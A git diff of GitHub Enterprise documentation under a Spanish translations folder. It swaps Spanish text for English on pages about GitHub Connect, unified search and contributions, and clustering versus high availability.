a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md +++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md @@ -1,7 +1,7 @@ --- -title: Conectar tu cuenta empresarial con GitHub Enterprise Cloud -shortTitle: Conectar cuentas empresariales -intro: 'Después de que habilites {% data variables.product.prodname_github_connect %}, puedes compartir características y flujos de trabajo específicos entre {% data variables.product.product_location %} y {% data variables.product.prodname_ghe_cloud %}.' +title: Connecting your enterprise account to GitHub Enterprise Cloud +shortTitle: Connect enterprise accounts +intro: 'After you enable {% data variables.product.prodname_github_connect %}, you can share specific features and workflows between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}.' redirect_from: - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com/ - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com @@ -24,60 +24,63 @@ topics: {% data reusables.github-connect.beta %} -## Acerca de {% data variables.product.prodname_github_connect %} +## About {% data variables.product.prodname_github_connect %} -Para habilitar {% data variables.product.prodname_github_connect %}, debes configurar la conexión en ambos {% data variables.product.product_location %} y en tu cuenta de empresa u organización de {% data variables.product.prodname_ghe_cloud %}. +To enable {% data variables.product.prodname_github_connect %}, you must configure the connection in both {% data variables.product.product_location %} and in your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% ifversion ghes %} -Para configurar una conexión, tu configuración proxy debe permitir la conectividad a `github.com` y `api.github.com`. Para obtener más información, consulta "[Configuring an outbound web proxy server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-an-outbound-web-proxy-server)." +To configure a connection, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Configuring an outbound web proxy server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-an-outbound-web-proxy-server)." {% endif %} -Después de habilitar {% data variables.product.prodname_github_connect %}, podrás habilitar características, como búsqueda unificada y contribuciones unificadas. Para obtener más información sobre todas las características disponibles, consulta la sección "[Administrar las conexiones entre tus cuentas empresariales](/admin/configuration/managing-connections-between-your-enterprise-accounts)". +After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as unified search and unified contributions. For more information about all of the features available, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)." -Cuando conectas {% data variables.product.product_location %} a {% data variables.product.prodname_ghe_cloud %}, un registro en {% data variables.product.prodname_dotcom_the_website %} almacena información sobre la conexión: +When you connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %}, a record on {% data variables.product.prodname_dotcom_the_website %} stores information about the connection: {% ifversion ghes %} -- La parte pública de la clave de tu licencia {% data variables.product.prodname_ghe_server %} -- Un hash de tu licencia {% data variables.product.prodname_ghe_server %} -- El nombre personalizado de tu licencia {% data variables.product.prodname_ghe_server %} -- La versión de {% data variables.product.product_location_enterprise %}{% endif %} +- The public key portion of your {% data variables.product.prodname_ghe_server %} license +- A hash of your {% data variables.product.prodname_ghe_server %} license +- The customer name on your {% data variables.product.prodname_ghe_server %} license +- The version of {% data variables.product.product_location_enterprise %}{% endif %} - The hostname of your {% data variables.product.product_name %} instance -- La cuenta de empresa u organización en {% data variables.product.prodname_dotcom_the_website %} está conectada a {% data variables.product.product_location %} -- El token de autenticación que usa {% data variables.product.product_location %} para hacerle solicitudes a {% data variables.product.prodname_dotcom_the_website %} +- The organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that's connected to {% data variables.product.product_location %} +- The authentication token that's used by {% data variables.product.product_location %} to make requests to {% data variables.product.prodname_dotcom_the_website %} -Habilitar {% data variables.product.prodname_github_connect %} también crea un {% data variables.product.prodname_github_app %} cuyo dueño es la cuenta empresarial u organizacional de {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} usa las credenciales de {% data variables.product.prodname_github_app %} para hacerle solicitudes a {% data variables.product.prodname_dotcom_the_website %}. +Enabling {% data variables.product.prodname_github_connect %} also creates a {% data variables.product.prodname_github_app %} owned by your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghes %} -{% data variables.product.prodname_ghe_server %} almacena credenciales desde la {% data variables.product.prodname_github_app %}. Estas credenciales se replicarán en cualquier entorno de alta disponibilidad o de agrupación y se almacenarán en cualquier copia de seguridad, incluidas las instantáneas creadas por {% data variables.product.prodname_enterprise_backup_utilities %}. -- Un token de autenticación, que es válido durante una hora -- Una clave privada, que se utiliza para generar un nuevo token de autenticación +{% data variables.product.prodname_ghe_server %} stores credentials from the {% data variables.product.prodname_github_app %}. These credentials will be replicated to any high availability or clustering environments, and stored in any backups, including snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %}. +- An authentication token, which is valid for one hour +- A private key, which is used to generate a new authentication token {% endif %} -Habilitar {% data variables.product.prodname_github_connect %} no permitirá {% data variables.product.prodname_dotcom_the_website %} que los usuarios hagan cambios en {% data variables.product.product_name %}. +Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_dotcom_the_website %} users to make changes to {% data variables.product.product_name %}. -Para obtener más información acerca de cómo administrar las cuentas empresariales utilizando la API de GraphQL, consulta la sección "[Cuentas empresariales](/graphql/guides/managing-enterprise-accounts)". -## Habilitar {% data variables.product.prodname_github_connect %} +For more information about managing enterprise accounts using the GraphQL API, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)." +## Enabling {% data variables.product.prodname_github_connect %} {% ifversion ghes %} -1. Iniciar sesión en {% data variables.product.product_location %} y {% data variables.product.prodname_dotcom_the_website %}. +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. Iniciar sesión en {% data variables.product.product_location %} y {% data variables.product.prodname_dotcom_the_website %}. +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. En "{% data variables.product.prodname_github_connect %} aún no está habilitado", haz clic en **Enable {% data variables.product.prodname_github_connect %}** (Habilitar). By clicking **Enable {% data variables.product.prodname_github_connect %}**, you agree to the "{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features." +1. Under "{% data variables.product.prodname_github_connect %} is not enabled yet", click **Enable {% data variables.product.prodname_github_connect %}**. By clicking **Enable {% data variables.product.prodname_github_connect %}**, you agree to the "{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features." {% ifversion ghes %} -![Enable GitHub Connect button](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} -![Enable GitHub Connect button](/assets/images/enterprise/github-ae/enable-github-connect-button.png) + ![Enable GitHub Connect button](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} + ![Enable GitHub Connect button](/assets/images/enterprise/github-ae/enable-github-connect-button.png) {% endif %} -1. Al lado de la cuenta de usuario u organización a la que quieres conectarte, haz clic en **Connect** (Conectar). ![Conecta el botón junto a una cuenta de empresa o negocio](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) +1. Next to the enterprise account or organization you'd like to connect, click **Connect**. + ![Connect button next to an enterprise account or business](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) ## Disconnecting a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account from your enterprise account -Cuando te desconectas de {% data variables.product.prodname_ghe_cloud %}, se elimina la {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} de tu cuenta de empresa u organización, y las credenciales almacenadas en {% data variables.product.product_location %} se eliminan. +When you disconnect from {% data variables.product.prodname_ghe_cloud %}, the {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} is deleted from your enterprise account or organization and credentials stored on {% data variables.product.product_location %} are deleted. {% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %} -1. Al lado de la cuenta de empresa u organización de la que te quieres desconectar, haz clic en **Disable {% data variables.product.prodname_github_connect %}** (Inhabilitar {% data variables.product.prodname_github_connect %}). +1. Next to the enterprise account or organization you'd like to disconnect, click **Disable {% data variables.product.prodname_github_connect %}**. {% ifversion ghes %} - ![Inhabilitar el botón Conectar de GitHub para una cuenta de empresa o nombre de organización](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) -1. Lee la información acerca de la desconexión y haz clic en **Disable {% data variables.product.prodname_github_connect %}** (Inhabilitar {% data variables.product.prodname_github_connect %}). ![Modal con información de advertencia acerca de la desconexión y el botón de confirmación](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) {% else %} - ![Inhabilitar el botón Conectar de GitHub para una cuenta de empresa o nombre de organización](/assets/images/enterprise/github-ae/disable-github-connect-button.png) -1. Lee la información acerca de la desconexión y haz clic en **Disable {% data variables.product.prodname_github_connect %}** (Inhabilitar {% data variables.product.prodname_github_connect %}). ![Modal con información de advertencia acerca de la desconexión y el botón de confirmación](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/github-ae/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) {% endif %} diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md index 983821794c..7ae65dd0ef 100644 --- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md +++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md @@ -1,6 +1,6 @@ --- title: Enabling the dependency graph and Dependabot alerts on your enterprise account -intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and {% data variables.product.prodname_dependabot %} alerts in repositories in your instance.' +intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.' shortTitle: Enable dependency analysis redirect_from: - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server @@ -9,7 +9,7 @@ redirect_from: - /admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server -permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot %} alerts on {% data variables.product.product_location %}.' +permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.product_location %}.' versions: ghes: '*' ghae: issue-4864 diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md index affdbabc97..3147912f21 100644 --- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md +++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md @@ -1,7 +1,7 @@ --- title: Enabling unified contributions between your enterprise account and GitHub.com -shortTitle: Habilitar las contribuciones unificadas -intro: 'Después de habilitar {% data variables.product.prodname_github_connect %}, puedes permitir {% data variables.product.prodname_ghe_cloud %} que los miembros destaquen su trabajo en {% data variables.product.product_name %} al enviar los recuentos de contribuciones a sus {% data variables.product.prodname_dotcom_the_website %} perfiles.' +shortTitle: Enable unified contributions +intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow {% data variables.product.prodname_ghe_cloud %} members to highlight their work on {% data variables.product.product_name %} by sending the contribution counts to their {% data variables.product.prodname_dotcom_the_website %} profiles.' redirect_from: - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-and-github-com/ - /enterprise/admin/guides/developer-workflow/enabling-unified-contributions-between-github-enterprise-server-and-github-com/ @@ -26,21 +26,22 @@ As an enterprise owner, you can allow end users to send anonymized contribution After you enable {% data variables.product.prodname_github_connect %} and enable {% data variables.product.prodname_unified_contributions %} in both environments, end users on your enterprise account can connect to their {% data variables.product.prodname_dotcom_the_website %} accounts and send contribution counts from {% data variables.product.product_name %} to {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.github-connect.sync-frequency %} For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)." -If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. Si el programador vuelve a conectar sus perfiles luego de inhabilitarlos, se restablecerán los recuentos de contribución para los últimos 90 días. +If the enterprise owner disables the functionality or developers opt out of the connection, the {% data variables.product.product_name %} contribution counts will be deleted on {% data variables.product.prodname_dotcom_the_website %}. If the developer reconnects their profiles after disabling them, the contribution counts for the past 90 days are restored. -{% data variables.product.product_name %} **solo** envía el recuento de contribución y la fuente de ({% data variables.product.product_name %}) para los usuarios conectados. No envía ningún tipo de información sobre la contribución o cómo se realizó. +{% data variables.product.product_name %} **only** sends the contribution count and source ({% data variables.product.product_name %}) for connected users. It does not send any information about the contribution or how it was made. -Antes de habilitar {% data variables.product.prodname_unified_contributions %} en {% data variables.product.product_location %}, debes conectar {% data variables.product.product_location %} a {% data variables.product.prodname_dotcom_the_website %}. Para obtener más información, consulta la sección "[Conectar tu cuenta empresarial a {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)". +Before enabling {% data variables.product.prodname_unified_contributions %} on {% data variables.product.product_location %}, you must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." {% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. Iniciar sesión en {% data variables.product.product_location %} y {% data variables.product.prodname_dotcom_the_website %}. +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. En "Los usuarios pueden compartir recuentos de contribuciones en {% data variables.product.prodname_dotcom_the_website %}", haz clic en **Request access (Solicita acceso)**. ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} -2. [Inicia sesión](https://enterprise.github.com/login) en el sitio {% data variables.product.prodname_ghe_server %} para recibir más instrucciones. +1. Under "Users can share contribution counts to {% data variables.product.prodname_dotcom_the_website %}", click **Request access**. + ![Request access to unified contributions option](/assets/images/enterprise/site-admin-settings/dotcom-ghe-connection-request-access.png){% ifversion ghes %} +2. [Sign in](https://enterprise.github.com/login) to the {% data variables.product.prodname_ghe_server %} site to receive further instructions. When you request access, we may redirect you to the {% data variables.product.prodname_ghe_server %} site to check your current terms of service. {% endif %} diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md index c7bf7c638d..412d68ed18 100644 --- a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md +++ b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md @@ -1,6 +1,6 @@ --- title: Enabling unified search between your enterprise account and GitHub.com -shortTitle: Habilitar la búsqueda unificada +shortTitle: Enable unified search intro: 'After enabling {% data variables.product.prodname_github_connect %}, you can allow search of {% data variables.product.prodname_dotcom_the_website %} for members of your enterprise on {% data variables.product.product_name %}.' redirect_from: - /enterprise/admin/guides/developer-workflow/enabling-unified-search-between-github-enterprise-and-github-com/ @@ -25,21 +25,25 @@ topics: When you enable unified search, users can view search results from public and private content on {% data variables.product.prodname_dotcom_the_website %} when searching from {% data variables.product.product_location %}{% ifversion ghae %} on {% data variables.product.prodname_ghe_managed %}{% endif %}. -Los usuarios no podrán buscar {% data variables.product.product_location %} desde {% data variables.product.prodname_dotcom_the_website %}, incluso si tienen acceso a ambos entornos. Los usuarios solo pueden buscar repositorios privados para los que hayas habilitado {% data variables.product.prodname_unified_search %} y a los que tengan acceso en las organizaciones conectadas {% data variables.product.prodname_ghe_cloud %}. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)" and "[Enabling private {% data variables.product.prodname_dotcom_the_website %} repository search in your enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." +After you enable unified search for {% data variables.product.product_location %}, individual users must also connect their user accounts on {% data variables.product.product_name %} with their user accounts on {% data variables.product.prodname_dotcom_the_website %} in order to see search results from {% data variables.product.prodname_dotcom_the_website %} on {% data variables.product.product_location %}. For more information, see "[Enabling {% data variables.product.prodname_dotcom_the_website %} repository search in your private enterprise account](/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment)." -Buscar a través de las API REST y GraphQL no incluye {% data variables.product.prodname_dotcom_the_website %} los resultados de búsqueda. No están admitidas la búsqueda avanzada y buscar wikis en {% data variables.product.prodname_dotcom_the_website %}. +Users will not be able to search {% data variables.product.product_location %} from {% data variables.product.prodname_dotcom_the_website %}, even if they have access to both environments. Users can only search private repositories you've enabled {% data variables.product.prodname_unified_search %} for and that they have access to in the connected {% data variables.product.prodname_ghe_cloud %} organizations. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github/#searching-across-github-enterprise-and-githubcom-simultaneously)." + +Searching via the REST and GraphQL APIs does not include {% data variables.product.prodname_dotcom_the_website %} search results. Advanced search and searching for wikis in {% data variables.product.prodname_dotcom_the_website %} are not supported. {% ifversion ghes %} {% data reusables.github-connect.access-dotcom-and-enterprise %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.business %} {% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. Iniciar sesión en {% data variables.product.product_location %} y {% data variables.product.prodname_dotcom_the_website %}. +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. En "Los usuarios pueden buscar {% data variables.product.prodname_dotcom_the_website %}", utiliza el menú desplegable y haz clic en **Enabled (Habilitado)**. ![Habilitar la opción de búsqueda en el menú desplegable de búsqueda de GitHub.com](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) -1. De manera opcional, en "Users can search private repositories on (Los usuarios pueden buscar repositorios privados en) {% data variables.product.prodname_dotcom_the_website %}", utiliza el menú desplegable y haz clic en **Enabled (Habilitado)**. ![Habilitar la opción de búsqueda de repositorios privados en el menú desplegable de búsqueda de GitHub.com](/assets/images/enterprise/site-admin-settings/enable-private-search.png) +1. Under "Users can search {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/github-dotcom-enable-search.png) +1. Optionally, under "Users can search private repositories on {% data variables.product.prodname_dotcom_the_website %}", use the drop-down menu and click **Enabled**. + ![Enable private repositories search option in the search GitHub.com drop-down menu](/assets/images/enterprise/site-admin-settings/enable-private-search.png) -## Leer más +## Further reading - "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)" diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md index a736f8e84d..81a40ba9f7 100644 --- a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md +++ b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/differences-between-clustering-and-high-availability-ha.md @@ -1,6 +1,6 @@ --- -title: Diferencias entre los agrupamientos y la disponibilidad alta (HA) -intro: '{% data variables.product.prodname_ghe_server %} La configuración de alta disponibilidad es una configuración de conmutación primaria/secundaria que brinda redundancia mientras que el agrupamiento brinda redundancia y escalabilidad al distribuir cargas de lectura y escritura entre múltiples nodos.' +title: Differences between clustering and high availability (HA) +intro: '{% data variables.product.prodname_ghe_server %} High Availability Configuration (HA) is a primary/secondary failover configuration that provides redundancy while Clustering provides redundancy and scalability by distributing read and write load across multiple nodes.' redirect_from: - /enterprise/admin/clustering/differences-between-clustering-and-high-availability-ha - /enterprise/admin/enterprise-management/differences-between-clustering-and-high-availability-ha @@ -13,38 +13,33 @@ topics: - Enterprise - High availability - Infrastructure -shortTitle: Elegir un clúster o HA +shortTitle: Choosing cluster or HA --- +## Failure scenarios -## Escenarios de fallas - -Tanto la alta disponibilidad (HA, por sus siglas en inglés) como el agrupamiento brindan redundancia al eliminar el nodo único como punto de falla. Pueden brindar disponibilidad en estos escenarios: +High Availability (HA) and Clustering both provide redundancy by eliminating the single node as a point of failure. They are able to provide availability in these scenarios: {% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %} -## Escalabilidad +## Scalability -{% data reusables.enterprise_clustering.clustering-scalability %} En HA, la escala de este aparato depende exclusivamente del nodo principal y la cara no se distribuye al servidor de réplica. +{% data reusables.enterprise_clustering.clustering-scalability %} In HA, the scale of the appliance is dependent exclusively on the primary node and the load is not distributed to the replica server. -## Diferencias en el método de conmutación y configuración +## Differences in failover method and configuration -| Característica | Configuración de conmutación | Método de conmutación | -|:------------------------------------ |:--------------------------------------------------------------------------------------- |:---------------------------------------------------------------------------------------------------------------------------- | -| Configuración de alta disponibilidad | Registro de DNS con un TTL bajo que apunta al aparato principal o balanceador de carga. | Debes impulsar manualmente el aparato de réplica en las configuraciones de conmutación DNS y balanceador de carga. | -| Agrupación | El registro DNS debe apuntar a un balanceador de carga. | Si falla un nodo detrás de un balanceador de carga, el tráfico se envía automáticamente a los otros nodos de funcionamiento. | +| Feature | Failover configuration | Failover method | +| :------------- | :------------- | :--- | +| High Availability Configuration | DNS record with a low TTL pointed to the primary appliance, or load balancer. | You must manually promote the replica appliance in both DNS failover and load balancer configurations. | +| Clustering | DNS record must point to a load balancer. | If a node behind the load balancer fails, traffic is automatically sent to the other functioning nodes. | -## Copias de seguridad y recuperación ante desastres +## Backups and disaster recovery -HA y Clustering no deben ser considerados como un reemplazo para copias de seguridad regulares. Para obtener más información, consulta "[Configurar copias de seguridad en tu aparato](/enterprise/admin/guides/installation/configuring-backups-on-your-appliance)" +Neither HA or Clustering should be considered a replacement for regular backups. For more information, see "[Configuring backups on your appliance](/enterprise/admin/guides/installation/configuring-backups-on-your-appliance)." -## Supervisar +## Monitoring -Las características de disponibilidad, especialmente las que tienen conmutación automática como Agrupación, pueden enmascarar una falla dado que el servicio generalmente no se ve interrumpido cuando algo falla. Ya sea que esté usando HA o Agrupación, supervisar el estado de cada instancia es importante para que puedas estar al tanto cuando se produce una falla. Para obtener más información sobre la supervisión, consulta " -[Umbrales de alerta recomendados](/enterprise/{{ page.version }}/admin/guides/installation/recommended-alert-thresholds/)" y [Supervisar nodos de agrupación](/enterprise/{{ page.version}}/admin/guides/clustering/monitoring-cluster-nodes/)".

+Availability features, especially ones with automatic failover such as Clustering, can mask a failure since service is usually not disrupted when something fails. Whether you are using HA or Clustering, monitoring the health of each instance is important so that you are aware when a failure occurs. For more information on monitoring, see "[Recommended alert thresholds](/enterprise/{{ currentVersion }}/admin/guides/installation/recommended-alert-thresholds/)" and "[Monitoring cluster nodes](/enterprise/{{ currentVersion}}/admin/guides/clustering/monitoring-cluster-nodes/)." - - -## Leer más - -- Para obtener más información acerca del {% data variables.product.prodname_ghe_server %} Agrupamiento, visite la sección de "[Acerca del agrupamiento](/enterprise/{{ currentVersion}}/admin/guides/clustering/about-clustering/)." -- Para obtener más información sobre HA, consulta "[Configurar {% data variables.product.prodname_ghe_server %} para alta disponibilidad](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)". +## Further reading +- For more information about {% data variables.product.prodname_ghe_server %} Clustering, see "[About clustering](/enterprise/{{ currentVersion}}/admin/guides/clustering/about-clustering/)." +- For more information about HA, see "[Configuring {% data variables.product.prodname_ghe_server %} for High Availability](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability/)." diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md index 21fbd3e316..421f0633d0 100644 --- a/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md +++ b/translations/es-ES/content/admin/enterprise-management/configuring-clustering/initializing-the-cluster.md @@ -1,6 +1,6 @@ --- -title: Inicializar la agrupación -intro: 'Una agrupación de {% data variables.product.prodname_ghe_server %} se debe configurar con una licencia y se debe inicializar mediante un shell administrativo (SSH).' +title: Initializing the cluster +intro: 'A {% data variables.product.prodname_ghe_server %} cluster must be set up with a license and initialized using the administrative shell (SSH).' redirect_from: - /enterprise/admin/clustering/initializing-the-cluster - /enterprise/admin/enterprise-management/initializing-the-cluster @@ -12,43 +12,43 @@ topics: - Clustering - Enterprise --- - {% data reusables.enterprise_clustering.clustering-requires-https %} -## Instalar {% data variables.product.prodname_ghe_server %} +## Installing {% data variables.product.prodname_ghe_server %} -1. En cada nodo de agrupación, suministra e instala {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Configurar una instancia {% data variables.product.prodname_ghe_server %} ](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)." -2. Mediante el shell administrativo o DHCP, configura **solo** la dirección IP de cada nodo. No configures los otros parámetros. +1. On each cluster node, provision and install {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)." +2. Using the administrative shell or DHCP, **only** configure the IP address of each node. Don't configure any other settings. -## Configurar el primer nodo +## Configuring the first node -1. Conèctate al nodo que se designarà como el primario de MySQL en la `cluster.conf`. Para obtener màs informaciòn, consulta la secciòn "[Acerca del archivo de configuraciòn de clùster](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)". -2. En tu navegador web, visita `https://:8443/setup/`. +1. Connect to the node that will be designated as MySQL primary in `cluster.conf`. For more information, see "[About the cluster configuration file](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)." +2. In your web browser, visit `https://:8443/setup/`. {% data reusables.enterprise_installation.upload-a-license-file %} {% data reusables.enterprise_installation.save-settings-in-web-based-mgmt-console %} {% data reusables.enterprise_installation.instance-will-restart-automatically %} -## Inicializar la agrupación +## Initializing the cluster -Para inicializar la agrupación, necesitas un archivo de configuración de agrupación (`cluster.conf`). For more information, see "[About the cluster configuration file](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)". +To initialize the cluster, you need a cluster configuration file (`cluster.conf`). For more information, see "[About the cluster configuration 